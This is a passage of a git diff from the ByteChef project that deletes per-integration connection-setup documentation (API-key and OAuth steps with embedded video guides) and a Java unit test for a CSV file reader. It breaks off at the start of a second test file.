-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mOQy8R4hUg3BWUztZ6ph?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/asana/src/main/resources/connection.mdx b/server/libs/modules/components/asana/src/main/resources/connection.mdx
deleted file mode 100644
index 4583de1cc7e..00000000000
--- a/server/libs/modules/components/asana/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create Asana App
-
-1. Navigate to [Asana Developer](https://app.asana.com/0/my-apps) dashboard.
-2. Click on **Create new app**.
-3. Enter app name.
-4. Check everything.
-5. Agree to the Terms.
-6. Click on **Create app**.
-7. Here you can see your **Client ID** and **Client secret**.
-8. Click on **OAuth**.
-9. Click on **Add redirect URL**.
-10. Add redirect URL depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-11. Click on **Add**.
-12. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6a4aa71b-42d9-4edf-9a31-476b730cbd0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/attio/src/main/resources/connection.mdx b/server/libs/modules/components/attio/src/main/resources/connection.mdx
deleted file mode 100644
index f3d51cbfc34..00000000000
--- a/server/libs/modules/components/attio/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Find Access Token
-
-1. Navigate to your dashboard.
-2. Click on **Workspace** settings.
-3. Click on **Developers**.
-4. Click on **Create access token**.
-5. Enable **Records**.
-6. Enable **Tasks**.
-7. Enable **Webhooks**.
-8. Click on **Save changes**.
-9. Click here to copy the access token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f3571405-232f-4675-ab98-5271167d3b25?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/bamboohr/src/main/resources/connection.mdx b/server/libs/modules/components/bamboohr/src/main/resources/connection.mdx
deleted file mode 100644
index ccdd7ac3ff5..00000000000
--- a/server/libs/modules/components/bamboohr/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,12 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://app.bamboohr.com/login/.
-2. Click on My Account.
-3. Click on API Keys.
-4. Click Add New Key.
-5. Name new API key and click Generate Key.
-6. Copy the API key and click Done. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/V3Fd5SWAOezyTktpFiwX?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/baserow/src/main/resources/connection.mdx b/server/libs/modules/components/baserow/src/main/resources/connection.mdx
deleted file mode 100644
index f80a734fab9..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-Connect Baserow to ByteChef using a Database Token.
-
-### Create a Database Token in Baserow
-1. Log in to Baserow.
-2. Open your avatar menu and go to **My settings**.
-3. In the left sidebar, select **Database tokens**.
-4. Click **Create token +**.
-5. Enter a clear name (for example, `ByteChef integration`).
-6. Choose the workspace this token should access and set the required permissions (read/create/update/delete) for the tables you plan to use.
-7. Click **Create token** and copy the generated token value.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/QfJHcuWyOrS64tWpbTu2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/baserow/src/main/resources/createRow.mdx b/server/libs/modules/components/baserow/src/main/resources/createRow.mdx
deleted file mode 100644
index 52c025197a2..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/createRow.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find table ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
diff --git a/server/libs/modules/components/baserow/src/main/resources/deleteRow.mdx b/server/libs/modules/components/baserow/src/main/resources/deleteRow.mdx
deleted file mode 100644
index 6927e53cd09..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/deleteRow.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
diff --git a/server/libs/modules/components/baserow/src/main/resources/getRow.mdx b/server/libs/modules/components/baserow/src/main/resources/getRow.mdx
deleted file mode 100644
index 6927e53cd09..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/getRow.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
diff --git a/server/libs/modules/components/baserow/src/main/resources/listRows.mdx b/server/libs/modules/components/baserow/src/main/resources/listRows.mdx
deleted file mode 100644
index 52c025197a2..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/listRows.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find table ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
diff --git a/server/libs/modules/components/baserow/src/main/resources/updateRow.mdx b/server/libs/modules/components/baserow/src/main/resources/updateRow.mdx
deleted file mode 100644
index 6927e53cd09..00000000000
--- a/server/libs/modules/components/baserow/src/main/resources/updateRow.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
diff --git a/server/libs/modules/components/beamer/src/main/resources/connection.mdx b/server/libs/modules/components/beamer/src/main/resources/connection.mdx
deleted file mode 100644
index 282c051c03c..00000000000
--- a/server/libs/modules/components/beamer/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,15 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your Beamer dashboard.
-2. Click on **Settings**.
-3. Click on **API**.
-4. Click on **Create new API key**.
-5. Enter name of your new API key.
-6. Enable everything and **Copy** your API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/712b8654-7903-40cc-93a8-0b3bebf18cac?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/bitbucket/src/main/resources/connection.mdx b/server/libs/modules/components/bitbucket/src/main/resources/connection.mdx
deleted file mode 100644
index 9b3c75e1ed1..00000000000
--- a/server/libs/modules/components/bitbucket/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,33 +0,0 @@
-## Connection Setup
-
-### Bitbucket API Token Creation
-
-1. Go to the [Bitbucket website](https://bitbucket.org).
-2. Click **Settings**.
-3. Click **Atlassian account settings**.
-4. Click **Security**.
-5. Click **Create and manage API tokens**.
-6. Click **Create API token with scopes**.
-7. Enter name of your API token.
-8. Choose expiry date of your API token.
-9. Click **Next**.
-10. Select **Bitbucket**.
-11. Click **Next**.
-12. Find and select these scopes:
-  -   admin:project:bitbucket
-  -   admin:repository:bitbucket
-  -   delete:webhook:bitbucket
-  -   read:project:bitbucket
-  -   read:repository:bitbucket
-  -   read:user:bitbucket
-  -   read:webhook:bitbucket
-  -   read:workspace:bitbucket
-  -   write:webhook:bitbucket
-13. After you have selected scopes click **Next**.
-14. Click **Create token**.
-15. Click on **Copy**. Make sure to save your newly created API token because after this step you won’t be able to view it again.
-16. Click **Close**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/007d698d-c90e-4083-b1c7-2e4fa0ec1415?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/bolna/src/main/resources/connection.mdx b/server/libs/modules/components/bolna/src/main/resources/connection.mdx
deleted file mode 100644
index ee0d51270e0..00000000000
--- a/server/libs/modules/components/bolna/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,10 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://platform.bolna.ai.
-2. Navigate to Developers tab from the left menu bar after login.
-3. Click the button Create a new API Key to generate a key.
-4. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/z1FIORugGHA7hrd5hxXY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/box/src/main/resources/connection.mdx b/server/libs/modules/components/box/src/main/resources/connection.mdx
deleted file mode 100644
index cf6c8a5f0f1..00000000000
--- a/server/libs/modules/components/box/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,20 +0,0 @@
-![anl-c-box-md](https://static.scarf.sh/a.png?x-pxid=84d37904-17b6-42f2-ae30-b656ae3c7561)
-## Connection Setup
-
-Follow these steps to connect Box to ByteChef using OAuth 2.0.
-
-1. Login to your [Box account](https://app.box.com/).
-2. Click on **Dev Console** in the bottom‑left corner.
-3. Click on **Create Platform App**.
-4. Select **Custom App** for an app type.
-5. Enter the name and select a purpose for your app. Click **Next**.
-6. Select **User Authentication Method**. Click **Create App**.
-7. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://localhost:5173/callback`
-8. Select scopes for your app.
-9. Copy the Client ID and Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.85379203% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/e7edcd34-573c-4ccc-af27-4040237a49b9?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/brevo/src/main/resources/connection.mdx b/server/libs/modules/components/brevo/src/main/resources/connection.mdx
deleted file mode 100644
index 5323742cebf..00000000000
--- a/server/libs/modules/components/brevo/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-1. Go to https://www.brevo.com/.
-2. Log in to your account.
-3. Click on company/organization name dropdown menu.
-4. Click on SMTP & API.
-5. Click on API keys.
-6. Click on Generate a new API key and name it.
-7. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/XwCeceuQfSdZFVrg5XZy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/calcom/src/main/resources/connection.mdx b/server/libs/modules/components/calcom/src/main/resources/connection.mdx
deleted file mode 100644
index 4ee710e07d1..00000000000
--- a/server/libs/modules/components/calcom/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **My settings**.
-3. Click on **API keys**.
-4. Click on **Add**.
-5. Enter name of your API Key.
-6. Choose expiration date of your API key.
-7. Click on **Save**.
-8. Click on **Copy** to copy the API key, you will not be able to see it after this step.
-9. Click on **Done**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c067bb7f-296f-44a2-a623-649cf73fd2e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/capsule-crm/src/main/resources/connection.mdx b/server/libs/modules/components/capsule-crm/src/main/resources/connection.mdx
deleted file mode 100644
index 8d270b31ea5..00000000000
--- a/server/libs/modules/components/capsule-crm/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Generate API Token
-
-1. Navigate to your Capsule CRM dashboard.
-2. Click here to access your preferences.
-3. Click on **My Preferences**.
-4. Click on **API Authentication Tokens**.
-5. Click on **Generate New API Token**.
-6. Enter name of your token.
-7. Enable every scope and click on **Generate Token**.
-8. Copy your token.
-9. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/05ba1ab9-d03a-4b6c-a499-3e630091a1ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
diff --git a/server/libs/modules/components/clickup/src/main/resources/connection.mdx b/server/libs/modules/components/clickup/src/main/resources/connection.mdx
deleted file mode 100644
index 0283d056e7b..00000000000
--- a/server/libs/modules/components/clickup/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-Connect ClickUp to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a ClickUp OAuth app
-1. Log in to ClickUp.
-2. In the upper-right corner, click your avatar and select **Settings**.
-3. In the left sidebar, open **ClickUp API** and go to the **ClickUp API Settings** tab.
-4. Click **Create an app**.
-5. Enter a clear name (for example, `ByteChef Integration`).
-6. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-7. Save the app and copy the generated **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/tlthDvxkTTkqUMdnJwam?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/coda/src/main/resources/connection.mdx b/server/libs/modules/components/coda/src/main/resources/connection.mdx
deleted file mode 100644
index 7a3224d9911..00000000000
--- a/server/libs/modules/components/coda/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,12 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://coda.io/signin.
-2. Click on your account.
-3. Click on Account Settings.
-4. Scroll to API Settings and click Generate API token.
-5. Give your token a name and click Generate API token.
-6. Copy the API token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/LoU0lV4QiDN6CgNDTtPY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/contiguity/src/main/resources/connection.mdx b/server/libs/modules/components/contiguity/src/main/resources/connection.mdx
deleted file mode 100644
index 0f115249930..00000000000
--- a/server/libs/modules/components/contiguity/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-### Create a Contiguity Token
-
-1. Navigate to [Contiguity Console](https://console.contiguity.com/dashboard).
-2. Click on "API Keys".
-3. Click on "Create New Token".
-4. Enter name of your token.
-5. Click on "Create".
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/DSzhNENc8nP82QanYSx2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/copper/src/main/resources/connection.mdx b/server/libs/modules/components/copper/src/main/resources/connection.mdx
deleted file mode 100644
index 8ab5059762b..00000000000
--- a/server/libs/modules/components/copper/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Create API Key
-
-1. Navigate to [Copper](https://app.copper.com) dashboard.
-2. Click on your account icon.
-3. Click on **Workspace Settings**.
-4. Click on **Integrations**.
-5. Click on **API Keys**.
-6. Click on **Generate API Key**.
-7. Enter label for API Key.
-8. Here you can see your **API Key**.
-9. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/71f515c3-552e-46be-b299-179d88d11d10?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/pgpDecrypt.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/pgpDecrypt.mdx
deleted file mode 100644
index f3aeee345ce..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/pgpDecrypt.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate PGP key pair
-
-To generate PGP key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-pgp-key-pair)
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/pgpEcrypt.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/pgpEcrypt.mdx
deleted file mode 100644
index f3aeee345ce..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/pgpEcrypt.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate PGP key pair
-
-To generate PGP key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-pgp-key-pair)
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/rsaDecrypt.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/rsaDecrypt.mdx
deleted file mode 100644
index 5379f66c55b..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/rsaDecrypt.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/rsaEcrypt.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/rsaEcrypt.mdx
deleted file mode 100644
index 5379f66c55b..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/rsaEcrypt.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/sign.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/sign.mdx
deleted file mode 100644
index 5379f66c55b..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/sign.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
diff --git a/server/libs/modules/components/crypto-helper/src/main/resources/verify.mdx b/server/libs/modules/components/crypto-helper/src/main/resources/verify.mdx
deleted file mode 100644
index 5379f66c55b..00000000000
--- a/server/libs/modules/components/crypto-helper/src/main/resources/verify.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
diff --git a/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemReaderTest.java b/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemReaderTest.java
deleted file mode 100644
index c24bbfe9c6b..00000000000
--- a/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemReaderTest.java
+++ /dev/null
@@ -1,222 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.csv.file.datastream;
-
-import static com.bytechef.component.csv.file.constant.CsvFileConstants.DELIMITER;
-import static com.bytechef.component.csv.file.constant.CsvFileConstants.ENCLOSING_CHARACTER;
-import static com.bytechef.component.csv.file.constant.CsvFileConstants.FILE_ENTRY;
-import static com.bytechef.component.csv.file.constant.CsvFileConstants.HEADER_ROW;
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import java.io.ByteArrayInputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class CsvFileItemReaderTest {
-
-    private CsvFileItemReader csvFileItemReader;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private FileEntry mockFileEntry;
-
-    @BeforeEach
-    void setUp() {
-        csvFileItemReader = new CsvFileItemReader();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockFileEntry = mock(FileEntry.class);
-
-        when(inputParameters.getRequiredFileEntry(FILE_ENTRY)).thenReturn(mockFileEntry);
-    }
-
-    @Test
-    void testGetFieldsWithHeaderRow() {
-        String csvContent = "name,email,age\nJohn,john@example.com,30\nJane,jane@example.com,25";
-
-        setupMocks(csvContent, true, ",", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(0)
-            .label()).isEqualTo("name");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("email");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("age");
-    }
-
-    @Test
-    void testGetFieldsWithoutHeaderRow() {
-        String csvContent = "John,john@example.com,30\nJane,jane@example.com,25";
-
-        setupMocks(csvContent, false, ",", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsWithEmptyFile() {
-        String csvContent = "";
-
-        setupMocks(csvContent, true, ",", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsWithSemicolonDelimiter() {
-        String csvContent = "first_name;last_name;email\nJohn;Doe;john@example.com";
-
-        setupMocks(csvContent, true, ";", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("first_name");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("last_name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("email");
-    }
-
-    @Test
-    void testGetFieldsWithTabDelimiter() {
-        String csvContent = "id\tname\tvalue\n1\tTest\t100";
-
-        setupMocks(csvContent, true, "\t", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("id");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("value");
-    }
-
-    @Test
-    void testGetFieldsWithQuotedHeaders() {
-        String csvContent = "\"first name\",\"last name\",\"email address\"\nJohn,Doe,john@example.com";
-
-        setupMocks(csvContent, true, ",", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("first name");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("last name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("email address");
-    }
-
-    @Test
-    void testGetFieldsWithEmptyHeaderGeneratesColumnNames() {
-        String csvContent = "name,,email\nJohn,value,john@example.com";
-
-        setupMocks(csvContent, true, ",", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("column_2");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("email");
-    }
-
-    @Test
-    void testGetFieldsWithSingleQuoteEnclosingCharacter() {
-        String csvContent = "'first_name','last_name','email'\nJohn,Doe,john@example.com";
-
-        setupMocks(csvContent, true, ",", "'");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("first_name");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("last_name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("email");
-    }
-
-    @Test
-    void testGetFieldsWithPipeDelimiter() {
-        String csvContent = "id|name|status\n1|Test|active";
-
-        setupMocks(csvContent, true, "|", "\"");
-
-        List<FieldDefinition> fields = csvFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("id");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("status");
-    }
-
-    private void setupMocks(String csvContent, boolean headerRow, String delimiter, String enclosingChar) {
-        when(inputParameters.getBoolean(HEADER_ROW, true)).thenReturn(headerRow);
-        when(inputParameters.getString(DELIMITER, ",")).thenReturn(delimiter);
-        when(inputParameters.getString(ENCLOSING_CHARACTER, "")).thenReturn(enclosingChar);
-
-        ByteArrayInputStream inputStream = new ByteArrayInputStream(csvContent.getBytes(StandardCharsets.UTF_8));
-
-        when(context.file(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-            Context.File mockFile = mock(Context.File.class);
-
-            when(mockFile.getInputStream(any(FileEntry.class))).thenReturn(inputStream);
-
-            return function.apply(mockFile);
-        });
-    }
-}
diff --git a/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemWriterTest.java b/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemWriterTest.java
deleted file mode 100644
index bfac41e53de..00000000000
--- a/server/libs/modules/components/csv-file/src/test/java/com/bytechef/component/csv/file/datastream/CsvFileItemWriterTest.java
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.csv.file.datastream;
-
-import static com.bytechef.component.csv.file.constant.CsvFileConstants.FILE_ENTRY;
-import static org.assertj.core.api.Assertions.assertThat;
